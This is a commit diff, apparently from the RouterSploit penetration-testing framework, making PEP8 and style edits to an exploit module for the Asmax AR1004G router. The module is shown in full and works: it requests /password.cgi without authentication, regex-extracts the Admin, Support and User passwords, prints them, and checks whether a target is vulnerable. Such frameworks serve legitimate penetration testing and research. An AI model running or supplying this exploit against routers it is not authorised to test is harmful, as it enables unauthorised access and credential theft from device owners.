Commit 6321f085 by fwkz

Cosmetics and PEP8 fixes

parent 1ba4743a
...@@ -18,52 +18,51 @@ class Exploit(exploits.Exploit): ...@@ -18,52 +18,51 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Asmax AR1004G Password Disclosure', 'name': 'Asmax AR1004G Password Disclosure',
'description': 'Exploits asmax password disclosure vulnerability that allows to fetch credentials for: Admin, Support and User accounts.', 'description': 'Exploits asmax password disclosure vulnerability that allows to '
'fetch credentials for: Admin, Support and User accounts.',
'authors': [ 'authors': [
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
], ],
'references': [ 'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt' 'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
], ],
'targets': [ 'targets': [
'Asmax AR 1004g' 'Asmax AR 1004g',
] ]
} }
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
def run(self): def run(self):
creds = []
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url)) print_status("Requesting for {}".format(url))
try: try:
r = requests.get(url) response = requests.get(url).text
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url) print_error("Invalid URL format: {}".format(url))
return return
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url) print_error("Connection error: {}".format(url))
return return
creds = [] admin = re.findall("pwdAdmin = '(.+?)'", response)
admin = re.findall("pwdAdmin = '(.+?)'", res) if admin:
if len(admin):
creds.append(('Admin', admin[0])) creds.append(('Admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", res) support = re.findall("pwdSupport = '(.+?)'", response)
if len(support): if support:
creds.append(('Support', support[0])) creds.append(('Support', support[0]))
user = re.findall("pwdUser = '(.+?)'", res) user = re.findall("pwdUser = '(.+?)'", response)
if len(user): if user:
creds.append(('User', user[0])) creds.append(('User', user[0]))
if len(creds): if creds:
print_success("Credentials found!") print_success("Credentials found!")
headers = ("Login", "Password") print_table(("Login", "Password"), *creds)
print_table(headers, *creds)
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
...@@ -71,12 +70,11 @@ class Exploit(exploits.Exploit): ...@@ -71,12 +70,11 @@ class Exploit(exploits.Exploit):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
try: try:
r = requests.get(url) response = requests.get(url).text
res = r.text
except: except:
return None # could not be verified return None # could not be verified
if any(map(lambda x: x in res, ["pwdSupport", "pwdUser", "pwdAdmin"])): if any(map(lambda x: x in response, ["pwdSupport", "pwdUser", "pwdAdmin"])):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment